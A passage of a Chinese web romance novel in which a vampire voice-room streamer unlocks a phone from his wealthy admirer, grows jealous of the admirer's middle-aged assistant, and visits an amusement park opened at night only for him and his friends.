[素嘟耳宝,粥哥没有忘记,这个日子你绝对知道,肯定是属于你们俩之间的小秘密或者小情趣。] “日、日期吗……” 评论区都在笃定这是一个日期,宁尔有些更懵了。 他和舟先生之间,好像没有讨论或者纪念过什么日期。 [你的生日,你试吧,包准的。] [“我送你一套房,密码是你的生日”经典霸总文了] 怎么会是他的生日呢,舟先生都不知道他的生日是什么时候。 不过宁尔还是试了试,果然不对。 “宝们,不对的。而且舟先生也不知道我的生日。” [什么??] [耳宝生日已经过了吗?] [竟然连生日都不知道吗?这不是基本需要具备的吗?] [那你试试粥哥自己的生日呢?] 亲亲小耳朵:“我、我也不知道……” [彳亍。] [就说是棋逢对手。] [那应该是你们第一次在网上遇到的时候,第一次加的时候是哪天,还记得吗?] “那……应该有两次,算哪次呢?” [有两次是什么意思?] 宁尔直到现在也清楚地记得,当时玩缘来时候,第一个和他示好发表情包的人是舟先生。 聊了两句把他举报禁言了7天的也是舟先生。 宁尔把这件事简单和评论区讲了一下,评论区都快笑抽了。 [哈哈哈哈哈耳宝你怎么这么可爱,张口就500啊] [粥老板没舍得花500,后来花了500w] [举报的时候有想过后来有一天会被宝宝迷得神魂颠倒吗?] [@银耳粥黑子说话] [所以最后辣舞了吗我好好奇?] [那你把这两个日期都试一下吧] 这个手机密码解锁也是有次数的,5次机会,每次错了就得锁定好几分钟。 如果5次都错了就要锁定一天了。 加上最开始的1234,现在已经错了4次了。 宁尔看着连续失败的提醒,轻轻叹了口气,有些气馁地告诉评论区。 [啊啊啊别急别急我想想] [都别乱出主意了耳宝真的很想现在玩到新手机] [在线征集推理大师、名侦探柯北] [那些都没用,有没有爱情军师?军师何在?] [有了有了!我想到了!] 一个小粉泡泡头像,等级很高的女生发言: [小耳朵,你想想,你和粥哥之间,在某一天,有没有发生过一些特别与众不同的事?这件事可能是你人生中第一次做,甚至你们俩都第一次做。] [这件事,让你们彼此这辈子都不会忘记对方?] 她越说宁尔越脸红,停在手机上的手指犹豫了一下,呼吸稍稍加快了一点,语气黏黏糊糊: “我、我好像想到一个……” [试试] [试试啊!] [试试试试] 这个……可以试吗…… 宁尔咬了咬嘴唇,边用食指在屏幕上点,边用气音很小声地跟读: “1、0、2、1” “解锁成功了!!” 宁尔一喜,立马在新手机把主页划过来划过去,丝毫没有意识到评论区不知道什么时候停了一下。 宁尔再一低头,一条评论十分惹眼: [10月21号。] [今天?]—— 作者有话说: 观众:? 第40章 吃小猫咪的醋 “今天”这两个大大的字评停在评论区正中央, 显得有些滑稽。 粉丝一时间没有再评论说话。 春风哥他们一时间也没说话。 宁尔戳进去新手机的手指也停滞在了半空中。 尬住。 短暂的尴尬过去,就是铺天盖地的质问与八卦。 [@亲亲小耳朵主包解释解释] [耳宝,我们也是你俩py的一环吗?] [什么事儿是彼此都第一次做, 做过之后这辈子都不会忘记的呢?] [小耳朵不是昨晚还在录音工作室直播的吗??怎么有时间??] [到底是什么事啊对不起我想歪了我想歪了] [想歪+10086] [而且一想到就是今天发生的就更兴奋了] [都能做这种“事儿”了那肯定见过面了吧?小耳朵不是说见面会告诉我们吗~] [呜呜呜耳宝怎么能骗我们呢呜呜呜] 宁尔眼花缭乱看着评论区, 直到说到“骗粉丝”, 什么都可以误会,这个不可以误会! 他骗舟先生的钱是真的, 但他从来没想过骗这些可爱粉丝们。 宁尔语气发急: “宝们, 我、我没有骗你们, 我真的没有见过舟先生, 他也没有见过我……” “当时是半夜, 屋子里很黑很黑,他还把我的眼睛用蕾丝眼罩蒙上了, 全程都没有摘下来……” 您的语音房涉及涩情违规被警告一次。文明聊天,绿色上网。 [噗……] [哈哈哈哈哈哈哈] [宝宝你是一个黄宝宝!] [我们好女人上网就是来听这个的] [啊啊啊啊粥老板竟然是这样的人吗!!听声音像正经禁欲系霸总啊] [感觉越禁欲的人才会越这样,才会越带感] [评论区兄弟姐妹们,咱们想得和小耳朵说得是一回事吗?] [哈哈哈哈管他黑的白的,先都说成黄的] [没人关心春风吗?又弹违禁了] “不是不是, 不是你们想得那样子。我、我们没有做很过分的事情……” 滚动的评论区仿佛变成了一辆长了轮子的巴士车,载着宁尔的节操一去不复返。 [到底是哪样的?真的很难猜呀~] [更好奇什么事情能让小耳朵记一辈子] “我、我们、我和舟先生……”宁尔脸烫得厉害,语音房几万人的面,宁尔语无伦次,无论如何也说不出口。 [你们这群cp粉别乱猜了, 能干什么啊?银耳粥给小耳朵买了个新手机, 这是小耳朵这辈子第一次收到新手机,所以一辈子忘不了,就这么简单。] 说话的是乘风破浪。 他不知道是不愿意相信小耳朵和那个银耳粥真做了什么, 还是像趁机英雄救美一波,出言打断众人。 评论区刚要反驳,乘风破浪就说: [我打算给评论区发5万的现金红包,谁要杠我我就不发了啊。] 没等他欣赏够自己的超能力,让小耳朵还不快来谢谢他,另一个ID的现金红包快他一步出现在了评论区。 也是分好几个1万的大额红包在10分钟内循环发放。 数目只高于五万,上不封顶。 [粥哥!] [是粥哥吗!] [粥哥你终于来了小耳朵耳朵都要熟了]。 这个大红包很快吸引了所有人的注意力,众人习惯性地以为是银耳粥,宁尔定睛一看,是一个很新的账号,头像是一个年轻男孩的头像。 ID叫做“小猫咪”。 不是舟先生。 ID账号等级几乎是因为这个福袋刷上来的,注册时间0天,性别:男,一个全新的财神哥。 宁尔看着他“男”的性别,和那个“小猫咪”的ID,眉毛不自然地扭了扭,还没说话,“小猫咪”自己就在评论区发了一大段话: [耳总您好,我是舟总助理。由于时差问题,舟总最近无法及时全程看语音房。因此特地叮嘱我每天看您的语音房,并且及时给予帮助。] [我想,现在就是时候了。] 说完又发了很多现金福袋。 [妈耶妈耶霸总文照进现实啊] [哈哈哈哈哈耳总哈哈哈哈哈] [信你了哥们儿,第一次在语音房感受到了商务味儿] [是班味儿吧,心疼打工人一秒] [为啥霸总助理的ID会这么萌啊太反差了哈哈哈哈哈] [感觉会是那种刚毕业笨手笨脚男大hhh] [今天又是被甜晕的一天] 乘风破浪:[什么什么,你真的假的啊?我这不是都要发了吗?] 依旧无人理会乘风破浪。 宁尔呆呆地看着这个小猫咪的ID,想到舟先生人在国外还惦记语音房,又想到他刚刚在语音房说那些,还有评论区的猜测,那不是都被小猫咪助理看到了…… 语音房沉浸在了抢红包当中,宁尔直接回关了小猫咪,私聊他: [小猫咪,你真的是舟先生的助理吗?] 小猫咪:[如假包换。] 亲亲小耳朵:[换。] 小猫咪:[……如假包换的意思是……没什么,耳总,我真的是真的,如果还有怀疑您可以直接问舟总。] 亲亲小耳朵:[你不用叫我耳总,叫我小耳朵就行。那你一定很了解舟先生喽?] 小猫咪:[当然。] 亲亲小耳朵:[有多了解呀?] 小猫咪沉默了一会儿: [整个公司上下,没有人比我更了解他。] 宁尔沉默了。 他其实不太知道老板的助理需要做什么,是什么样的,于是在网络AI提问里输入了一段“大老板的小猫咪助理是什么样子的”。 AI很快给他生成了一张图片。 图片里,西装革履的老板坐在老板椅上,一个头戴猫耳朵、屁股后面有猫尾巴的帅气年轻男孩在拿着文件笑眯眯地给老板看。 是、是这样的吗。 亲亲小耳朵:[那、那我考考你。] 亲亲小耳朵:[舟先生最喜欢的颜色是什么?] 小猫咪:[个人风格的外显维度诸如穿着、用品、装饰方面偏爱黑色;审美价值倾向内核方面偏爱绿色。] “……” 亲亲小耳朵:[舟先生最喜欢吃什么东西?] 小猫咪:[饮食上追求对于食材新鲜度、还原度以及膳食纤维和每日摄入营养搭配。草饲夏洛莉牛排、江鱼、低温水煮蛋、等都是日常偏爱。] 亲亲小耳朵:[小猫咪,舟先生说得话你是不是都得听?] [是。] 亲亲小耳朵:[那我说得话你能不能听?] [……视情况,尽量满足。] 亲亲小耳朵:[那好,接下来你回答我的问题不能超过10个字。] 宁尔脑子里本来就是那张带着小猫耳朵挥之不去的年轻男孩图片,又看到他不仅完完全全了解舟先生,还这么有文化,讲起话来头头是道,心里忍不住酸酸的。 说完之后宁尔意识到自己语气可能有点凶,赶紧又红着脸怂怂地说实话道歉: [对不起,我有点凶了。] [你、你不要多想,你回答得很好,只是、只是我很多看不懂……] 小猫咪倒是好像没有介意,只是回答: [好。] 亲亲小耳朵:[那舟先生的生日是什么时候?] [3.20] [舟先生最喜欢的季节是什么?] [冬天] 宁尔又问了很多很多问题,小猫咪全部都回答上了,宁尔一边酸得牙疼,一边赶紧记下来这些回答。 他觉得刚刚粉丝们说得很对。 一直以来都是舟先生关心他对他好,他却几乎完全不了解舟先生,连他的生日都不知道。 而且此刻的了解,已经不是为了讨好或者欺骗了。 哪怕不知道他和自己的羁绊会有多深多久,宁尔也愿意在漫长的生命中去了解、记住一个人类的喜好。 这些答案让在脑子里原本模糊的舟先生的影子更加立体,像一块拼图一样一点点拼合,越来越清晰,越来越柔软。 宁尔没有意识到自己打字的时候嘴角已经扬起了笑容,满意地都记录好之后,看着小猫咪的ID,眼睛一转,打字问: [舟先生怎么称呼喜欢的人呀?] 这下真的把小猫咪难住了,等了好几分钟都没有答出来,直到最后认输似的: [抱歉,这个我还不知道。] 亲亲小耳朵:[我知道。] 小猫咪:[?] 亲亲小耳朵:[小耳朵宝宝~] 小猫咪:[……] 小猫咪好像有些大无语了,宁尔也见好就收,飞快地说完谢谢之后又继续玩他的新手机了。 宁尔再次输入了密码打开手机,手机的主页上放着几个图标。 和其他手机不一样。 宁尔一眼就看到了那个“地图”,手指停顿了一下,点开地图。 地图上除了他自己的位置之外,赫然还有一个标记点名为“舟”。 宁尔好奇地看着那个坐标,用两根手指把地图越缩越小,发现舟先生的位置在很北很北的地方。 就好像在人类世界的尽头一样。 这种感觉很新奇,宁尔不断放大舟先生的坐标看他的周围有什么,从地图上感受着他们的距离。 之前宁尔问舟先生他会去哪里出差,舟先生只告诉他很远。 原来,舟先生并没有过想敷衍他。 宁尔关掉地图,又看到旁边有一个“相册”,宁尔点开相册,里面已经有几张图片了。 他变魔术的那朵塑料玫瑰花、给他送胃药的那天看到楼下的月亮、满山五颜六色的烟花、闪烁的蓝色星星下路灯边宁尔的剪影…… 宁尔把相册关掉,又打开一个叫做“倒计时”的软件。 上面显示着一个数字“20天”。 计数是从昨天开始的,宁尔很快意识到,这个数字的意思是舟先生回来的倒计时。 宁尔心跳砰砰砰加快,还有20天,舟先生就会回来了。 舟先生回来,就意味着他们可以见面了。 宁尔关掉这几个主页的软件,又试着点开系统那个“通讯录”的默认软件。 果然,里面已经有一个电话号码了。 那是一串属于人类的数字。 宁尔心又砰砰砰跳了几下。 缘来可以随时卸载消失,手机号码却总能联系到。 宁尔看着那串数字,反复在嘴里默背了几遍,把数字深深地印在脑海里。 手机当然还贴心地提前下载好了“缘来”,还有几款小游戏。其中有一款图标是城堡样子,名字叫“模拟装饰城堡”。 不过,竟然还有几个名字很奇怪的软件。 “简单一百,中学全科精品课” “启蒙英语——名师手把手入门” “初升高的一百个知识点” “名师入户,十佳教师1v1辅导” “三分钟速成歌手” 这些都是什么呀。 宁尔长按软件,在这些app发抖的时候一个个全部卸载了。 等把这些新鲜都试过之后宁尔重新打开缘来,他今天有点无心直播,再加上小猫咪发过红包了,宁尔播了几句就先下播了,直接给舟先生发消息: “哥哥,你在干什么呀?” 宁尔躺在沙发上握着手机,看着地图上那个小小的点儿,百无聊赖地等待着舟先生的回复。 他给舟先生设置了一个很独特的来消息提示,只要这个声音一响,证明只会是舟先生的消息。 这样他就会早开心一秒钟。 过了大概十分钟,舟先生回来消息: [在等船。] [宝宝呢?没有直播?] 宁尔手指戳戳戳回复: [今天是唱歌局,他们在唱,我播了一会儿,更想和哥哥聊天。] 屏幕对面站在凛冽寒风中的傅宴舟莞尔,一张严肃如冰山的脸瞬间柔和起来。 [哥哥也想你。] 傅宴舟顺手拍了一张白蓝色的冰川的照片发给宁尔。 [哇!这是什么呀哥哥?是、是雪吗?] [是。雪结成冰,终年寒冷,成为了冰川。] [小耳朵也好想看看雪啊!] 吸血鬼世界和人类一样,分为不同的所在地。宁尔他们那族所在的大陆并没有下过人类世界的雪,但他知道,雪很美,像星星一样。 [宝宝想来吗?现在就可以出发。] 来? 来世界尽头吗? 宁尔吓了一跳,赶紧说不了不了。 舟先生没有强迫他: [好。A市年末会有雪,今年你就可以看到了。] 哇! 宁尔去年误入人类世界的时候已经过了寒冬,此刻对人类世界在心里又多了一点期待。 [今天直播有什么有趣的事吗?] [哥哥怎么知道?是小猫咪告诉你了吗?] 银耳粥:[每次直播都会有新的事不是小耳朵的特色吗?] 银耳粥:[小猫咪是谁?] 宁尔红着脸吐了吐舌头,遮遮掩掩地把试手机密码结果被大家误会,又被小猫咪及时出手相助的事告诉了舟先生。 [小猫咪说他是哥哥的助理呀,是哥哥让他有事时候及时帮助我的,哥哥不知道吗?] 傅宴舟蹙了蹙眉: [他给自己起的ID叫“小猫咪”?] 宁尔努了努嘴: [是啊。很有文化的小猫咪呢。] 银耳粥:[嗯,不止有文化。他最大的优点是聪明、有能力。让他做总助这个位置都有些屈才。] 竟然夸了这么大一段话! 舟先生的赞美之情溢于言表,这样赞美的话,舟先生从未对自己说过…… 宁尔撇着小嘴: [小猫咪好像也很了解哥哥吖,一定是哥哥工作上的好助手叭~星星眼/星星眼/] 银耳粥:[不止工作。还有生活。如果没有他,我的生活可能是一团糟。] 呦呦呦呦呦。 宁尔仿佛吃了一嘴柠檬一样,明明知道不应该,但脑子里是那张挥之不去的带着猫耳朵的男助理图片,从心底到牙齿都酸酸的。 [那、那他长得帅吗?] 银耳粥:[嗯。] [那、那哥哥这次出差为了我没有带小猫咪,小耳朵真是太不好意思啦~] 银耳粥:[没事,我还有其他助理。正好给他放几天假,平时太辛苦。] 还温柔体贴。 宁尔嘴巴委屈地动了动,真不知道要说什么了。 真没招了。 他恹恹地打字: [哥哥,你是不是觉得我很笨呀?说实话~委屈/委屈/] 银耳粥很快回了消息:[嗯。]??? 宁尔又委屈又尴尬,一时间不知道要再说什么,更糟糕的是舟先生也不说话了。 过了七八分钟,舟先生才发来消息: [刚才在登船] [不笨的话,怎么会吃一位年过50岁的男士的醋呢?]—— 作者有话说: 小猫咪是肖特助哈哈哈哈哈哈哈。 40-50 第41章 日式漫画卷 噗…… 宁尔刚从冰箱里拿出来舟先生给他带的枇杷雪梨汤插着吸管喝, 看到“吃醋50岁男士”差点一口喷出来。 自己那点小心思早就被舟先生看出来了,还误会了人家…… 宁尔红着脸低头,想辩解一下自己才没有吃醋, 但又觉得更拙劣了, 只能在手机抠字: [原、原来是小猫咪大叔呀……] 傅宴舟莞尔: [宝宝以为是什么?戴着猫耳朵给我汇报工作的小男孩?] 宁尔脸更红了。 银耳粥:[喜欢这样玩的话, 以后可以。] 喜欢什么?玩什么?可以什么? 亲亲小耳朵:[谁可以?] 银耳粥:[谁问谁可以。] 又欺负鬼。 宁尔想象了一下自己恢复成吸血鬼形态,竖着小尖耳朵, 红着眼睛, 露着小尖牙, 面色苍白地穿着女仆裙子给舟先生擦办公桌的画面, 噗嗤一下笑出了声。 亲亲小耳朵:[要我做助理吗?] [那我会把哥哥原本的生活搞得一团糟的。] 过了一会儿, 舟先生又发来一张图片,他的船已经行驶在水中了, 照片上是连绵的巨大的冰川,由于冰雪积压体积巨大,已经从白色变为了浅蓝色,画面上除了冰川与一望无际的海水,没有其他颜色。 这样巨大的白色与无尽感让照片画面有些压抑。 银耳粥:[好看吗?] 宁尔咬着嘴唇:[好、好看, 就是好像好冷……都是白茫茫的。] 傅宴舟莞尔: [遇到你之前,我的世界就是这样。] 宁尔心头一滞,那样是哪样? 图片上的压抑感让他隐隐有一种呼之欲出的感觉,苍白,冷寂, 甚至压抑…… [不是你把我的生活弄搞糟。而是你出现之后, 我才有了生活。] 舟先生忽然的认真让宁尔有些不知所措,他盯着那张图片,想到小猫咪说舟先生最喜欢的季节是冬天。 寒风凛冽, 万物沉寂。 也许舟先生喜欢的并不是冬天,而是那个仿佛能将他的情绪与感受一同掩埋在寒冷与白色中。 宁尔在人类摸爬滚打处处打工,他知道,赚钱一点都不容易。 他不了解舟先生的事业,但他能赚那么多钱,一定也有他的辛苦与难处吧。 [哥哥……] [嗯?] 如果有一天我彻底离开你的世界…… 宁尔在手机上有些忐忑地敲下这些字,打到一半儿停下手指。 认识傅宴舟、攒够买蓝宝石的钱、找到让傅宴舟把蓝宝石借给他的理由。 三件事,他一件都没做到。 回家?遥遥无期,尔尔也无。 宁尔有些轻松地把字都删掉,换了一句: [我现在,更想你一点了。] 打字的时候需要摘掉手套,傅宴舟看着屏幕上的粉红泡泡,拿着手机的手指冻得通红,攥了一下拳尽力回温,再度伸展手指打字: [宝宝,是不是最近录音太累?] 亲亲小耳朵:[是有点累。不过……好像还是无聊多一点。] 忽然不能和舟先生每天从早安开始聊天,白天也不能出门做其他事,生活的确变无聊了。 [A市有三家大型游乐园,种类繁多项目有趣,哥哥帮你买票?] 哇!游乐园! 宁尔之前打工时候在夜里路过过那家游乐园,在门口看着那些五颜六色在黑暗里停摆的游乐园,都会想象它们转动起来的样子。 不过每次他都会看到门口牌子上贴着的“特价票599元”,以及,从不会在夜里开动的卡通小汽车。 [还、还是不去了哥哥。] [你不喜欢游乐园吗?小朋友都喜欢。如果觉得一个人无聊可以随便约朋友,哥哥请客。] 宁尔只是看到游乐园三个字都会狠狠心动,脑补了一下自己和靳伟元之一起玩的场景,应该会很有趣吧。 他靠在冰箱门上轻轻叹了口气,还是认真给舟先生解释: [不用了哥哥,我不喜欢白天出门。] [怕热么?游乐园里有降温系统。] [不是不是,就是……我、其实我不能晒太阳。] [为什么?] 亲亲小耳朵:[因为……] 亲亲小耳朵:[因为我是一只小吸血鬼啊~嗷呜~] 宁尔很淡定地敲出这句话。 他算是发现了,现在的人类世界离吸血鬼已经太远了,几乎所有人都不相信世界上有吸血鬼。 他越是认真躲藏,甚至露出破绽,别人越觉得他是有幻想症的傻子。 就连元之都觉得他在缘来用小吸血鬼特效头像是为了情趣going人类。 小吸血鬼,永不为奴! 银耳粥:[好。摸摸头/摸摸头/] 看吧,舟先生也不会信。 宁尔又大大咧咧吸了一口枇杷雪梨汤,和舟先生短暂告别- 宁尔连续两天都在录音室,一回家就被元之抓住盘问他去哪儿鬼混了。 宁尔听到“鬼混”这个词,忍不住偷笑了几声。 他把录音工作室的事情告诉了元之,给他展示了舟先生送的新手机,还告诉元之等舟先生回来之后自己可能就会和他见面。 元之问他真的做好准备了,确认不后悔吗? 宁尔认真地点了点头。 流浪小皮说的对。如果一个人本来喜欢你的人因为样貌而不喜欢你了,那说明本来也没有多喜欢。 或者是很明显的另有所图。 更何况,宁尔知道自己长得有点漂亮。 在吸血鬼世界他虽然不是最尊贵的王子,但基本是公认的美男鬼。 从小到大到为了看他的样子去公爵家拜访的鬼一个接一个,从上鬼校开始就一直是校草。 他和所有小吸血鬼一起参加晚会,总会被当做最尊贵的那只。 虽然和人类的审美有差别,但是元之都说他漂亮了,肯定不会丑吧。 “元之元之,你能带我去烫个头发吗?” 陈元之十分惊讶:“你还要烫头?” 宁尔这张脸秃头都好看,竟然还想通过发型变帅。 “嗯嗯。” 宁尔点点头,拿着手机里的照片递给陈元之。 “美式前刺?” 陈元之看着宁尔忽闪的眼睛,小巧的鼻子嘴巴,怎么都和图上的美式前刺酷哥联系在一起。 “别想了。” “哎呀元之,球球你啦。你不是说,要想尽一切办法维护好榜一大哥吗~” “我……” 陈元之有种要把自己辛辛苦苦养大的弟弟从给别的男人的感觉,话闷回肚子里,在宁尔手机上划拉了两下: “烫这个吧,那个不适合你。” 宁尔看着他找的那个“日式漫画卷”,果然好像更适合自己一些。 “元之,你帮我看看这几件衣服哪件好看。” 宁尔又把手机递过去。 陈元之眼前一黑又一黑。 宁尔不知道抽什么风,挑得全是一套套绿衣服。 从荧光绿到屎绿色,陈元之这辈子没见过这么多丑衣服。 “小耳朵你……” 宁尔显然一副陷入恋爱中的幸福样,幻想穿着这些衣服搞定榜一大哥。 “这套扔了。”陈元之指着图片。 “其他的呢?” “扔远点。” “……” 陈元之不解:“宁尔,你挺漂亮一个小伙子,审美怎么这么差呢?” 宁尔摇摇头: “因为舟先生最喜欢绿色。” 宁尔眯眼笑。 陈元之:“彳亍”。 “那你随便选个短袖短裤吧。” “因为可以露出胳膊和腿吗?”宁尔挑了两下眉。 “不是。至少丑的面积少点。” “……” 宁尔又逼着元之和他挑了一双绿色的运动鞋,和一款香水,把见面的一切准备做足,就跟着元之去楼下烫头了。 小理发店的老板从没见过这么漂亮的小男孩,给他烫头都小心翼翼。 宁尔脑袋上被包着一根根锡纸的样子十分滑稽,他都忍不住对着镜子给自己拍了张照。 真好玩,人。 用火把自己的头发烤成弯弯的。 这样,就能好看了吗? 烫完洗好吹头发的时候宁尔一直闭着眼睛,嘴角不自觉地上扬着,心里还有些忐忑。 等到老板说好了,宁尔缓缓睁开眼睛,镜子里出现了一个棕色小卷毛。 脑袋蓬蓬的,松散的小卷搭在额头前,和他白皙的皮肤和绿色的眼睛很搭,看起来和人类十八岁的少年没什么区别。 他眨眨眼,镜子里的鬼也朝他眨眨眼。 从他来到人类社会的一年里,都在为温饱奔波,整日穿着一件脏兮兮的T恤,脸色因为吃不饱而苍白。 后来有了舟先生他能吃饱了,却也没怎么想过出门或者见人。 今天他主动和元之来了一个新的人类的地方,做了一件新的事情,看着整洁的自己,宁尔感觉浑身都充满了力量。 他礼貌付了账,老板还夸他帅优惠了五米。 宁尔正打算回去,习惯性打开缘来,就看到几条小猫咪的消息: [位置] [这个游乐园今晚恰好开放夜场,想去玩一下吗?] 宁尔点开那个位置,就是他偶尔路过在门口看的那家大型游乐园! [夜场??请问现在去还可以玩吗?] 宁尔看了一眼时间,都已经快10点了。 [可以的。] [请问可以玩到几点呢?] [几点都可以。] 当知道对面是一个50多岁的叔叔时,宁洱对小猫咪说话都不自觉恭敬起来。 同时也对大叔对于游乐园的了解程度略有怀疑。 [请问尊嘟假嘟?] [O.] 好潮流的小猫咪大叔。 [想去的话可以邀请朋友直接去就好。] 宁尔站在原地疯狂心动,陈元之发现他的异常,停下脚步回头问: “怎么了?” 宁尔把手机给元之看,陈元之靠了一声: “还有这种好事儿?” 陈元之也从来没去过游乐园。 他和靳伟是实打实从山区村里出来的小孩,虽然比宁尔大五六岁,一路混到A市,从吃不饱饭到都赚了点钱也不过一年。 哪怕兜里有钱,也不舍得花5、600去玩一下就没了。 “要、要去吗?”宁尔有些期待。 “你说呢?要不问问伟哥?他要是没空咱们也不去了?”陈元之也有点拿不定主意。 “好。” 宁尔给靳伟发了消息,并没有抱很大的希望,没想到靳伟很快回复: [发个位置,我从公司过去。大老板最近出差了,朱总也出国了,我有空。] 大老板。 傅宴舟总裁也出差了。 这是三个人第一次在夜里一拍即合,宁尔很兴奋,也有点不好意思: “那、那我再去和语音房请个假吧。” 陈元之:“别啊,到时间就播播,播你在游乐园的实时动态,你现在已经算是半个养成系博主了,你做有趣的事大家会更喜欢听。” 宁尔一听觉得元之说得很有道理。 语音房里一定也有很多和他一样没去过游乐园的粉丝观众,他会告诉大家每个项目怎么玩、什么感觉,这样大家以后来就不会像他一样忐忑害怕了。 宁尔看了一样位置距离,不算远,他跑过去只要几分钟。 陈元之:“我叫个车……” “不用叫了元之,我们跑过去叭~”—— 作者有话说: 来晚了今天还有一更~ 第42章 傅总明明出差了啊。…… 陈元之眼角抽了抽:“大哥你认真的吗?八公里。” “认真的元之, 快跑吧。” 宁尔说完就窜出去了,陈元之脚比脑子快,下意识去追他。 宁尔为了照顾元之跑得非常非常慢, 对于吸血鬼来说就像走路一样, 跑到游乐园门口时连气都不喘。 靳伟已经从公司到了, 站在游乐园门口,看到宁尔跑过来时候表情十分惊讶。 宁尔穿着白T恤牛仔裤, 一头棕色的漂亮卷毛, 见到他之后摘掉了眼镜, 露出那双漂亮的绿色眼睛。 宁尔不好意思地整理了一下头发: “伟哥。” 过了十分钟陈元之才气喘吁吁跑来, 扶着门口的栏杆一边摆手一边咳嗽: “水, 我需要水……” 靳伟皱着眉嫌弃地看了他一眼,转身走到一旁的自动售卖机买了瓶冰水走过去递给他: “你去拉黄包车了?” 陈元之咕嘟咕嘟了好几口: “他, 他带我跑来的。八公里,我、我……” 宁尔不好意思地吐了吐舌头,靳伟也忍不住笑了笑。 “宁尔,你确定这里晚上开放吗?” 靳伟说完宁尔才注意到,这么大的游乐园除了他们好像没有其他游客, 但里面的灯都亮着,灯火璀璨,有一种奇异的感觉。 宁尔也有点心虚了,不过他看到门口有个保安,于是大着胆子走过去问: “您好, 请、请问我们可以进去玩吗?” 保安看了看他: “你叫什么?” 宁尔愣了一下:“宁尔。” “那不能。” “……” “亲亲小耳朵。”陈元之在后面用尽最后一口气替他回答。 保安立马笑眼盈盈: “原来是小耳朵先生和他的朋友们, 里面请,欢迎来到童话的世界,请尽情享受。” “……” “你、你是说, 只有我们可以进来?” “是的。” 宁尔进来之后保安就把门彻底关了。 诺大的游乐园里只有三个人的感觉十分奇妙,好在各种游乐设施都亮着灯,小摊、商店前都有打扮好的工作人员,并不显得可怕。 宁尔简直要看呆了,扭头看元之的惊讶不比他少。 陈元之看着面前像动画片里一样梦幻的旋转木马,摇着头感慨: “这就是钞能力吗?” 从不开放夜场的游乐园,今夜只为宁尔敞开大门。 陈元之忽然有点理解宁尔为什么那么执着要穿绿衣服见大哥了。 如果是他,带绿帽子都行。 他们三个先来到卖东西的小摊前,有发箍、魔法棒、冰激凌和其他好吃的。 靳伟让他俩挑挑,三人都要了一根冰棍,宁尔看着那个小恶魔角的发箍,移不开眼睛。 靳伟伸手给他把发箍摘下来: “想要这个?” 宁尔眨眨眼。 “想要就说啊。” 靳伟把发箍递给他,宁尔甜甜一笑: “谢谢伟哥送来的小恶魔耳朵~” “哥哥哥哥,我也想要。” 陈元之在一旁夹着嗓子故意恶心靳伟。 “你今年几岁了?” “不嘛不嘛。人家想要小兔子耳朵。” 靳伟估计是被陈元之恶心到了,为了让他闭嘴,拿了一个兔子耳朵按在陈元之头上。 宁尔回头看陈元之,还挺可爱呢。 靳伟正要结账,却被工作人员告知今晚他们的消费都会被买单,只管拿走就可以。 “……” 三个人吃完冰棍直奔了过山车,陈元之说他查过攻略,这个过山车速度很快,是游乐园里最刺激的一个过山车。 宁尔边走路边把发箍和冰棍拍了一张照片,给舟先生发过去: [哥哥,我和朋友们来游乐园玩啦~] [哥哥,游乐园里好漂亮啊,就像有魔法一样。不过厉害的魔法只有哥哥会~] 舟先生暂时没回,宁尔单方面分享完喜悦,又掐着点打开缘来,试过音后告诉大家: “宝们,我今天晚上来游乐园了,可能不能及时互动。但是如果你们想听我语音,我可以边玩边播。” [耳宝是第一次去游乐园吗!] [播播播!想听想听!] [耳宝可以试试那个跳楼机恐怖吗?每次想坐都不敢] [流星大摆锤!看别人玩我觉得我心都要飞出去了] [可以去鬼屋测评一下吗主包] [第一款游乐园测评型主包上线了] [等等,小耳朵你去哪家游乐园啊?] 宁尔把游乐园的名字告诉了他们,并且承认确实是第一次去。 [?这家游乐园晚上不开放的呀] [小耳朵你是不是弄错了?] [我白天刚回来,完全没听说晚上要开放。] [等等……不会、不会是我想的那样吧?] [楼上说什么呢好恐怖。难道小耳朵去的不是正常游乐园……] [楼上这辈子离恋爱脑是很远了] 大家三五句就猜出来是舟先生使用了钞能力让游乐园在夜间开放,宁尔也不是很确定,心虚地转移了话题。 评论区感慨了一会儿,很多粉丝都对他直播游乐园很感兴趣,宁尔按照大家的推荐先上了那个过山车。 过山车很长很大,黑暗中的灯带亮起像一条悬在半空的蜿蜒的大龙。 一排有两个座位,宁尔因为直播所以单独坐了一排,靳伟和元之坐在了他后面。 整个过山车上只有他们三个人,安全压肩下来,宁尔兴奋地晃动脚。 “宝们,我坐在第一排,车马上要开了。” [小耳朵你把手机放在口袋里吧] [是的,耳机也摘下来吧!] [注意安全啊小耳朵] 她们说得很严肃,宁尔也被这个氛围搞害怕了,乖乖摘下耳机把手机装好。 严肃警戒声的中英文都播报了一遍,倒计时3、2、1一声声逼近,宁尔的心跳一点点加快。 最后的倒计时落下,过山车开始缓缓爬坡。 好像、好像也不是很吓鬼丫。 爬坡越来越高,但速度始终很慢。宁尔左看看右看看,一点儿都没有害怕的感觉。 快爬到顶点的时候宁尔甚至扭头看元之他们: “伟哥元之,过山车好像一点都不吓人啊。你们人……们胆子小小的~” 下一秒,在顶点慢到几乎停了过山车,忽然以没有任何助力的速度近乎90度俯冲下去。 “啊——” [哈哈哈哈哈哈笑死我了] [隔着耳机都能听到一声惨叫] [不是一声吧,好像是全程] [刚刚谁说不怕嫌慢的] 宁尔被晃得七荤八素,瞬间的高空俯冲过后脖子有种诡异的错位感,轻飘飘的仿佛感受不到脑袋了。 宁尔双手扶着脖子,歪歪扭扭走路:“伟哥,脑袋,我的脑袋还在脖子上吗?” 他俩也没好到哪儿去,不过还是学着宁尔的样子嘲笑他。 宁尔戴上耳机,话都要晕得说不清了,又遭到评论区一阵揶揄,说什么都不敢再逞能了,撇着小嘴真心实意道: “人、人好勇敢啊。” 宁尔晕头晃脑半天,弱弱地问: “下、下一个玩什么呢?坚决、坚决不玩过山车啦。” [大摆锤!] [跳楼机] [跳楼机+1] [认真的吗楼上?] 宁尔看着这个名字都觉得害怕,觉得大家在坑他。 芝芝葡葡:[耳宝你信我的,大摆锤比跳楼机恐怖!!] 芝芝葡葡是老粉了,她的话宁尔很相信。 宁尔犹豫了一下,他们已经来到了大摆锤这里。 工作人员热情招呼他们上去,陈元之看着这个皱眉: “我怎么感觉我在视频软件上刷到过这个呢?特恐怖。靳伟小耳朵,你们行不行啊?” 靳伟:“你说什么?” 陈元之:“我说你行不行啊!耳背啊你?” 靳伟直接走上了大摆锤,扭头: “男人不能说不行。” 陈元之回头看宁尔,宁尔赶紧低头假装系鞋带: “元之你们先上去我等会儿再来。” 小菜鸡。 